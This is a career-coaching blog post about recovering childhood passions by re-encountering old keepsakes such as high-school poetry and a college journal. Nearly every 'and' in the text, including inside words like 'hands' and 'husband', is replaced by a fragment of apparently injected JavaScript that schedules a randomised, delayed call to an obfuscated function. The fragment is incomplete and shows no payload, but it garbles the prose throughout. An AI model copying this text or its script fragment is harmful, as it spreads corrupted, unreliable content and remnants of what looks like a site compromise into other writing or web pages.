# Career Finder: Following Your Instincts

When I began my training as a Career Coach, my coaching mentor told us that the key in finding your ideal career is to look back at your childhood. What did you love to do? What filled you with joy? It’s a question that I’ve attempted to answer andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and one that I asked my clients often. However, it is has was never easy for my clients, or myself, to answer. It’s not that there weren’t things we loved to do as children, it’s just that over the years it has become increasingly difficult to recall them. Years of work related stress andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and conformity have melted those memories into tiny drips. When you thought about it, it probably sounded like this: dancing, writing, playing, sports… so what do I do with that?

I had fallen into this small drip thinking, andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and therefore found the exercise of looking back into my childhood kind of dry andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and ineffective. Until one day I realized that you had to re-experience it, not just think about it. It works best when you actually hold it in your handom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}ands. It happened to me in quite a peculiar way. An old box that had been sitting in my parent’s basement, then my garage for years, suddenly re-surfaced. There was oil leaking in the corner of our garage andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and my husbandom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and began clearing out everything that was around it. In that corner, sat an oil-stained box with my poetry from high school andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and my journal from college. It also contained my music books andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and my most treasured stories. Reading, touching, andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and spending time with these items made me realize just how far I had stepped away from who I was. It was like meeting an old friend again, but feeling it like it was the first time you met. It became crystal clear which parts of my life were working andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and which one weren’t. Where I had strayed too far away andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and what direction I now needed to go.

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